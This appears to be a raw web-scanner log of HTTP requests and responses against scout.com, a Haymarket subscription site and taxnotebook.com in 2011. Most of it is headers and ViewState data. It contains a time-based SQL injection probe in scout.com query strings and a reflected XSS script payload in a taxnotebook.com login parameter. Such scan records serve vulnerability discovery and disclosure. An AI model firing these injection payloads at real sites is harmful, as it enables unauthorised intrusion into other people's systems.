<li><a href="/legal/aup.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Acceptable Use Policy</a>
...[SNIP]...
<li><a href="/legal/SSL-legal-repository-sa.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Subscriber Agreements</a>
...[SNIP]...
<li><a href="/legal/SSL-legal-repository-rpa.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Relying Party Agreements</a>
...[SNIP]...
<li><a href="/legal/SSL-legal-repository-rpg.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Relying Party Guarantee</a>
...[SNIP]...
<li><a href="/legal/SSL-legal-repository-cps.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Certification Practice Statement</a>
...[SNIP]...
<li><a href="/legal/SSL-legal-repository-ev-sa.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >EV Subscriber Agreements</a>
...[SNIP]...
<li><a href="/legal/SSL-legal-repository-ev-cps.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >EV Certification Practice Statement</a>
...[SNIP]...
<li><a href="/legal/privacy-policy.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" rel="nofollow" >Privacy Policy</a>
...[SNIP]...
<li><a href="/legal/legal-notice.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" rel="nofollow" >Terms of Use</a>
...[SNIP]...
<li><a href="/legal/static-service-agreement.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" rel="nofollow" >Legal & Policies</a>
...[SNIP]...
<li><a href="/site-map/index.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Site Map</a></li><li class="last"><a href="/help/email.jsp;jsessionid=806e2d4caa6cc054763194e76a0a:8y5l" >Contact Us</a>
...[SNIP]...

GET / HTTP/1.1
Host: nba.scout.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; SessionBrandId=0; __utma=202704078.454375544.1303509265.1303522301.1304728142.4; __utmc=202704078; __utmb=202704078.2.9.1304728228796

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:30:41 GMT
Content-Type: text/html
Content-Location: http://nba.scout.com/StaticPages/nba/index.html
Last-Modified: Fri, 06 May 2011 17:43:32 GMT
Accept-Ranges: bytes
ETag: "ec70541e15ccc1:68c"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Server: Pike
Vary: Accept-Encoding
Content-Length: 25838

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>NBA Team Directory Front Page</title>
<meta http-equiv="Con
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /Legacy/a.z?s=143&p=26&cfg=22&fromprefetch=1 HTTP/1.1
Host: recruiting.scout.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; __utmz=153805115.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; __utma=153805115.1232119317.1303509265.1303509265.1303516031.2; SessionBrandId=0; __utma=202704078.454375544.1303509265.1304731683.1304736111.6; __utmc=202704078; __utmb=202704078.1.10.1304736111

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 21:42:14 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 21:52:13 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 12091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /scm/?form= HTTP/1.1
Host: subscribe.haymarketmedia.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=y3mspj55lrmqru55pqpftdmj; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 21:49:16 GMT
Content-Length: 5394

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><link href="Pubs/SC
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTAzNTk4OTM0Mw9kFgJmD2QWAgIFD2QWBAIBD2QWAgIDD2QWFmYPFgIeB1Zpc2libGVnFgICAQ8PFgIeBFRleHQFJFRoZSBwYWdlIHlvdSByZXF1ZXN0ZWQgd2FzIG5vdCBmb3VuZGRkAgoPZBYCAgEPZBYCAgEPZBYCZg9kFgJmDxBkZBYAZAIND2QWAgIDD2QWAgIBD2QWAmYPZBYCZg8QZGQWAGQCEA9kFgQCBQ8QZGQWAGQCBw9kFgICAQ8QZGQWAWZkAhMPZBYCAgMPZBYeAgMPZBYCAgEPZBYCZg8PFgIfAWRkZAIED2QWAgIBD2QWAmYPDxYCHwFkZGQCBQ9kFgICAQ9kFgJmDw8WAh8BZGRkAgYPZBYCAgEPZBYCZg8PFgIfAWRkZAIHD2QWAgIBD2QWAmYPDxYCHwFkZGQCCA9kFgICAQ9kFgJmDw8WAh8BZGRkAgkPZBYCAgEPZBYCZg8PFgIfAWRkZAIKD2QWAgIBD2QWAmYPDxYCHwFkZGQCCw9kFgICAQ9kFgJmDxBkZBYBZmQCDA9kFgICAQ9kFgJmDw8WAh8BZGRkAg0PZBYCAgEPZBYCZg8QZGQWAGQCDg9kFgICAQ9kFgJmDw8WAh8BZGRkAg8PZBYCAgEPZBYCZg8PFgIfAWRkZAIQD2QWAgIBD2QWAmYPDxYCHwFkZGQCEQ9kFgICAQ9kFgJmDw8WAh8BZGRkAhUPZBYCAgMPZBYcAgQPZBYCAgEPZBYCZg8PFgIfAWRkZAIFD2QWAgIBD2QWAmYPDxYCHwFkZGQCBg9kFgICAQ9kFgJmDw8WAh8BZGRkAgcPZBYCAgEPZBYCZg8PFgIfAWRkZAIID2QWAgIBD2QWAmYPDxYCHwFkZGQCCQ9kFgICAQ9kFgJmDw8WAh8BZGRkAgoPZBYCAgEPZBYCZg8PFgIfAWRkZAILD2QWAgIBD2QWAmYPEGRkFgFmZAIMD2QWAgIBD2QWAmYPDxYCHwFkZGQCDQ9kFgICAQ9kFgJmDxBkZBYAZAIOD2QWAgIBD2QWAmYPDxYCHwFkZGQCDw9kFgICAQ9kFgJmDw8WAh8BZGRkAhAPZBYCAgEPZBYCZg8PFgIfAWRkZAIRD2QWAgIBD2QWAmYPDxYCHwFkZGQCGQ9kFgICAw8QZGQWAGQCHA9kFgICBQ8QZGQWAWZkAh0PZBYEAgcPEGRkFgBkAgkPEGRkFgBkAiUPZBYCAgcPZBYEAgEPZBYCAgEPZBYCZg8QZGQWAWZkAgQPZBYCAgEPZBYEZg8QZGQWAWZkAgMPEGRkFgFmZAIpD2QWAgIDD2QWBgIGD2QWAgIBD2QWAmYPEGRkFgFmZAIMD2QWAgIBD2QWAmYPEGRkFgFmZAISD2QWAgIBD2QWAmYPEGRkFgFmZAIDD2QWBAIBDxYCHwEFDVVBLTEyOTA0MjktMjVkAgMPFgIfAQULc2NtX19JUzExMDVkZA==" />
...[SNIP]...

GET /subscribe/CCI_Custserve.aspx HTTP/1.1
Host: subscribe.haymarketmedia.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=lvsr30zwf1fkw5aao1zymfq2

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 21:49:27 GMT
Content-Length: 8523

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
Haymarket
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTIwMzMxNjMxMjAPZBYCAgMPZBYCAgEPZBYCAgEPZBYCZg9kFgICAQ8WAh4EVGV4dAWQEDx0YWJsZT48dHI+PHRkPjxhIGhyZWY9J2h0dHBzOi8vc3Vic2NyaWJlLmhheW1hcmtldG1lZGlhLmNvbS9jYWQvP2Y9Y3VzdHNlcnZlJz5DbGluaWNhbCBBZHZpc29yPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9J2h0dHA6Ly93d3cuZG1uZXdzLmNvbS9TdWJzY3JpYmUvc2VjdGlvbi8yMTMvJz5EaXJlY3QgTWFya2V0aW5nIE5ld3M8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cHM6Ly9zdWJzY3JpYmUuaGF5bWFya2V0bWVkaWEuY29tL2phcC8/Zj1jdXN0c2VydmUnPkpvdXJuYWwgb2YgdGhlIEFtZXJpY2FuIEFjYWRlbXkgb2YgUGh5c2ljaWFuIEFzc2lzdGFudHM8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5tY2tuaWdodHMuY29tL1N1YnNjcmliZS9zZWN0aW9uLzI3NS8nPk1jS25pZ2h0J3MgTG9uZy1UZXJtIENhcmUgTmV3czwvYT48L3RkPjwvdHI+PHRyPjx0ZD48YSBocmVmPSdodHRwOi8vd3d3Lm1tbS1vbmxpbmUuY29tL1N1YnNjcmliZXItU2VydmljZXMvc2VjdGlvbi84MC8nPk1lZGljYWwgTWFya2V0aW5nICYgTWVkaWE8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5lbXByLmNvbS9jdXN0b21lcnNlcnZpY2UnPk1vbnRobHkgUHJlc2NyaWJpbmcgUmVmZXJlbmNlPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9J2h0dHA6Ly93d3cuZW1wci5jb20vY3VzdG9tZXJzZXJ2aWNlJz5NUFIgSGVtYXRvbG9neS9PbmNvbG9neSBFZGl0aW9uPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9J2h0dHA6Ly93d3cuZW1wci5jb20vY3VzdG9tZXJzZXJ2aWNlJz5NUFIgT2JzdGV0cmljaWFuICYgR3luZWNvbG9naXN0IEVkaXRpb248L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5lbXByLmNvbS9jdXN0b21lcnNlcnZpY2UnPk1QUiBQZWRpYXRyaWNpYW5zJyBFZGl0aW9uPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9J2h0dHA6Ly93d3cuZW1wci5jb20vY3VzdG9tZXJzZXJ2aWNlJz5NUFIgUGhhcm1hY2lzdHMnIEVkaXRpb248L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5lbXByLmNvbS9jdXN0b21lcnNlcnZpY2UnPk1QUiBSZXNpZGVudHMnIEVkaXRpb248L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5lbXByLmNvbS9jdXN0b21lcnNlcnZpY2UnPk1QUiBVcm9sb2dpc3RzJyBFZGl0aW9uPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9J2h0dHBzOi8vc3Vic2NyaWJlLmhheW1hcmtldG1lZGlhLmNvbS9uZGQvP2Y9Y3VzdHNlcnZlJz5OZXcgRHJ1ZyBEb3NzaWVyPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9J2h0dHA6Ly93d3cuZW1wci5jb20vY3VzdG9tZXJzZXJ2aWNlJz5OdXJzZSBQcmFjdGl0aW9uZXJzJyBQcmVzY3JpYmluZyBSZWZlcmVuY2U8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cHM6Ly9zdWJzY3JpYmUuaGF5bWFya2V0bWVkaWEuY29tL29uYS8/Zj1jdXN0c2VydmUnPk9uY29sb2d5IE51cnNlIEFkdmlzb3I8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5lbXByLmNvbS9jdXN0b21lcnNlcnZpY2UnPlBoeXNpY2lhbiBBc3Npc3RhbnRzJyBQcmVzY3JpYmluZyBSZWZlcmVuY2U8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cDovL3d3dy5wcndlZWt1cy5jb20vQ3VzdG9tZXItU2VydmljZS9zZWN0aW9uLzE4Mi8nPlBSV2VlazwvYT48L3RkPjwvdHI+PHRyPjx0ZD48YSBocmVmPSdodHRwczovL3N1YnNjcmliZS5oYXltYXJrZXRtZWRpYS5jb20vcmFjLz9mPWN1c3RzZXJ2ZSc+UkFDRVI8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGEgaHJlZj0naHR0cHM6Ly9zdWJzY3JpYmUuaGF5bWFya2V0bWVkaWEuY29tL3J1bi8/Zj1jdXN0c2VydmUnPlJlbmFsICYgVXJvbG9neSBOZXdzPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxhIGhyZWY9J2h0dHA6Ly93d3cuc2NtYWdhemluZXVzLmNvbS9TdWJzY3JpYmUvc2VjdGlvbi8xMjInPlNDIE1hZ2F6aW5lPC9hPjwvdGQ+PC90cj48L3RhYmxlPmRk" />
...[SNIP]...

GET / HTTP/1.1
Host: www.scout.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/2/a.z?cfg=%27;WAITFOR%20DELAY%20%270:0:25%27--&fromprefetch=1&p=26&s=143
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; SessionBrandId=0; __utma=202704078.454375544.1303509265.1303522301.1304728142.4; __utmc=202704078; __utmb=202704078.2.9.1304728228796

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 19:30:31 GMT
Content-Type: text/html
Expires: Fri, 06 May 2011 19:40:31 GMT
Last-Modified: Fri, 06 May 2011 17:41:15 GMT
Accept-Ranges: bytes
ETag: "1CC0C14CC196F80"
Server: Microsoft-IIS/6.0
Server: Static2
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 98822

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Scout.com - College and High School Football, Basketball, Recruiti
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /2/Netsparker14ebae4518d541eba819cda8fa442840.z HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found
Connection: close
Date: Fri, 06 May 2011 19:56:50 GMT
Server: Microsoft-IIS/6.0
Server: Static1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Cache-Control: private
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /2/a.z?cfg=%27;WAITFOR%20DELAY%20%270:0:25%27--&fromprefetch=1&p=26&s=143 HTTP/1.1
Host: www.scout.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; __utma=202704078.454375544.1303509265.1303516031.1303522301.3

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 19:29:27 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 19:39:01 GMT
Server: Microsoft-IIS/6.0
Server: Sodo
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Set-Cookie: SessionBrandId=0; domain=.scout.com; path=/
Vary: Accept-Encoding
Content-Length: 11983

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /Legacy/a.z HTTP/1.1
Host: www.scout.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: BrandId=0; RefId=0; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; SessionBrandId=0; __utma=202704078.454375544.1303509265.1304728142.1304731683.5; __utmc=202704078; UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmb=202704078.2.9.1304732669570;

HTTP/1.1 404 Not Found
Connection: close
Date: Fri, 06 May 2011 20:44:56 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb10
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Cache-Control: public, s-maxage=600
Expires: Fri, 06 May 2011 20:54:56 GMT
Content-Type: text/html
Content-Length: 12238

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /Netsparker892e409084b746c39d5b25ba070e12d8.z HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found
Connection: close
Date: Fri, 06 May 2011 19:57:49 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Server: Pike
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Cache-Control: private
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Sc
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /PictureGallery.aspx HTTP/1.1
Host: www.scout.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: BrandId=0; RefId=0; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; SessionBrandId=0; __utma=202704078.454375544.1303509265.1304728142.1304731683.5; __utmc=202704078; UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmb=202704078.2.9.1304732669570;

HTTP/1.1 200 OK
Connection: close
Date: Fri, 06 May 2011 20:44:55 GMT
Server: Microsoft-IIS/6.0
Server: Market
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 2493

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<html>
   <head>
       <title>
           Scout.com:
           Photo Gallery</title>
       <style type="text/css">BODY { FONT-FAMILY: verdana, arial }

...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJLTUxNTAyNjY5D2QWAmYPZBYCAgEPPCsACQBkZA==" />
...[SNIP]...

POST /a.z?s=143&p=9&c=2&cid=1037787&nid=4811607&fhn=1 HTTP/1.1
Referer: http://www.scout.com/a.z?s=143&p=9&c=2&cid=1037787&nid=4811607&fhn=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.scout.com
Cookie: RefId=0; BrandId=0; SessionBrandId=0
Accept-Encoding: gzip, deflate
Content-Length: 61

__VIEWSTATE=%2fwEPDwULLTEzNzQyNzE0MDlkZA%3d%3d&q=Search+Scout

HTTP/1.1 200 OK
Cache-Control: public, s-maxage=600
Date: Fri, 06 May 2011 19:57:50 GMT
Content-Type: text/html; charset=utf-8
Expires: Fri, 06 May 2011 20:07:49 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Vary: Accept-Encoding
Content-Length: 27005

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Scout.com: Zack Williams Profile</title>
<meta http
...[SNIP]...

GET /search.aspx HTTP/1.1
Host: www.scout.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: BrandId=0; RefId=0; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; SessionBrandId=0; __utma=202704078.454375544.1303509265.1304728142.1304731683.5; __utmc=202704078; UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmb=202704078.2.9.1304732669570;

HTTP/1.1 200 OK
Connection: close
Date: Fri, 06 May 2011 20:44:57 GMT
Server: Microsoft-IIS/6.0
Server: Scoutweb10
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 14458

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<ht
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNzQyNzE0MDlkZA==" />
...[SNIP]...

GET /Login/ChangePwd.aspx?AccNo= HTTP/1.1
Host: www.taxnotebook.com
Connection: keep-alive
Referer: https://www.taxnotebook.com/Login/TNLogin.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SessionStateGUID=d3f0c14d-633a-5811-67ba-46ed879ceb86

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:50:49 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 10090

<img src='../images/tnlogo.gif' width='96' height='23'>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
       <title>Online federal and state tax preparation.</title>

...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTExNjU0NDg2NDNkZA==" />
...[SNIP]...

GET /Login/PopupMessage.aspx?usr=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000341)%3C/script%3E HTTP/1.1
Host: www.taxnotebook.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:49:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: SessionStateGUID=6faf2a0c-e41b-6cdb-5915-512ec79c7b90; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 6653

<img src='../images/tnlogo.gif' width='96' height='23'>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
       <title>Tax Notebook</title>
       <LINK href="../Main.css" typ
...[SNIP]...
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJNTU5NjA0OTc5D2QWAgIDD2QWAgIBDw8WAh4HVmlzaWJsZWdkZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUJX3ByZXZNYWlu" />
...[SNIP]...

